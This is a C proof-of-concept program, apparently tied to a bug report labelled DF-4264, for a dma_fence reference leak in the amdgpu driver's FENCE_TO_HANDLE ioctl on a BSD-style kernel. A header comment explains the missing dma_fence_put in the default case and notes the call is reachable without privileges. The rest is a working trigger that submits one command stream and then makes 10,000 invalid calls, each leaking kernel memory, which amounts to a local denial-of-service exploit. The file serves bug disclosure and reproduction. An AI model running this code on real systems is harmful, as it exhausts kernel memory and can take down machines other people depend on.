DF-4264 / fence_to_handle_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-4264 — AMDGPU_FENCE_TO_HANDLE with unknown 'what' leaks the dma_fence * ======================================================================== * amdgpu_cs_fence_to_handle_ioctl() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c: * 1417-1471) obtains a fence reference at :1427 via amdgpu_cs_get_fence(). * The switch handles GET_SYNCOBJ / GET_SYNCOBJ_FD / GET_SYNC_FILE_FD and * each of those puts the reference, but the default case at :1468-1470 * does `return -EINVAL;` WITHOUT dma_fence_put(fence). Every call with an * invalid 'what' leaks one dma_fence reference (the whole drm_sched_fence * slab object + its parent fence chain are kept alive). * * Unprivileged: AMDGPU_FENCE_TO_HANDLE is DRM_AUTH|DRM_RENDER_ALLOW * (amdgpu_kms.c:1202). * * Trigger: alloc a context, submit one GFX CS (records fence seq 1 in the * context), then call FENCE_TO_HANDLE on (ctx, GFX, 0, seq=1) with * what = 0xFFFFFFFF in a tight loop -> one leaked fence per call. */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioccom.h> #include <errno.h> #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define AMDGPU_GEM_DOMAIN_GTT 0x2 #define AMDGPU_HW_IP_GFX 0 #define CHUNK_ID_IB 0x01 union gem_create_ { struct { unsigned long long bo_size, alignment, domains, flags; } in; struct { unsigned int handle, _pad; } out; }; union ctx_ { struct { unsigned int op, flags, ctx_id; int priority; } in; struct { unsigned int ctx_id, _pad; } alloc; }; struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; }; struct chunk_ib_ { unsigned int _pad, flags; unsigned long long va_start; unsigned int ib_bytes, ip_type, ip_instance, ring; }; union cs_ { struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad; unsigned long long chunks; } in; struct { unsigned long long handle, status; } out; }; struct drm_amdgpu_fence_ { unsigned int ctx_id, ip_type, ip_instance, ring; unsigned long long seq_no; }; union f2h_ { struct { struct drm_amdgpu_fence_ fence; unsigned int what, pad; } in; struct { unsigned int handle; } out; }; #define IOCTL_GEM_CREATE \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_) #define IOCTL_CTX \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_) #define IOCTL_CS \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_) #define IOCTL_F2H \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x14, union f2h_) #define ROUNDS 10000 int main(void) { union gem_create_ gc; union ctx_ ctx; union cs_ cs; union f2h_ f2h; struct chunk_hdr_ hdr; struct chunk_ib_ ib; unsigned long long chunk_ptr; unsigned long long seq; int fd, i; fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { fprintf(stderr, "DF-4264: cannot open /dev/dri/renderD128: %s\n" "On amdgpu hw each FENCE_TO_HANDLE call below leaks one " "dma_fence reference (amdgpu_cs.c:1427 vs :1468).\n", strerror(errno)); return (1); } memset(&gc, 0, sizeof(gc)); gc.in.bo_size = 4096; gc.in.domains = AMDGPU_GEM_DOMAIN_GTT; if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { perror("gem_create"); return (1); } memset(&ctx, 0, sizeof(ctx)); ctx.in.op = 1; if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx"); return (1); } memset(&ib, 0, sizeof(ib)); ib.ip_type = AMDGPU_HW_IP_GFX; ib.ib_bytes = 16; hdr.chunk_id = CHUNK_ID_IB; hdr.length_dw = sizeof(ib) / 4; hdr.chunk_data = (unsigned long long)(uintptr_t)&ib; chunk_ptr = (unsigned long long)(uintptr_t)&hdr; memset(&cs, 0, sizeof(cs)); cs.in.ctx_id = ctx.alloc.ctx_id; cs.in.num_chunks = 1; cs.in.chunks = chunk_ptr; if (ioctl(fd, IOCTL_CS, &cs) < 0) { perror("CS"); return (1); } seq = cs.out.handle; printf("submitted CS, seq=%llu\n", seq); for (i = 0; i < ROUNDS; i++) { memset(&f2h, 0, sizeof(f2h)); f2h.in.fence.ctx_id = ctx.alloc.ctx_id; f2h.in.fence.ip_type = AMDGPU_HW_IP_GFX; f2h.in.fence.ring = 0; f2h.in.fence.seq_no = seq; f2h.in.what = 0xFFFFFFFFu; /* invalid -> default case leak */ if (ioctl(fd, IOCTL_F2H, &f2h) == 0) { fprintf(stderr, "unexpected success\n"); return (1); } } printf("issued %d invalid FENCE_TO_HANDLE calls; %d dma_fence " "references leaked (each keeps a drm_sched_fence slab object " "alive forever)\n", ROUNDS, ROUNDS); return (0); } |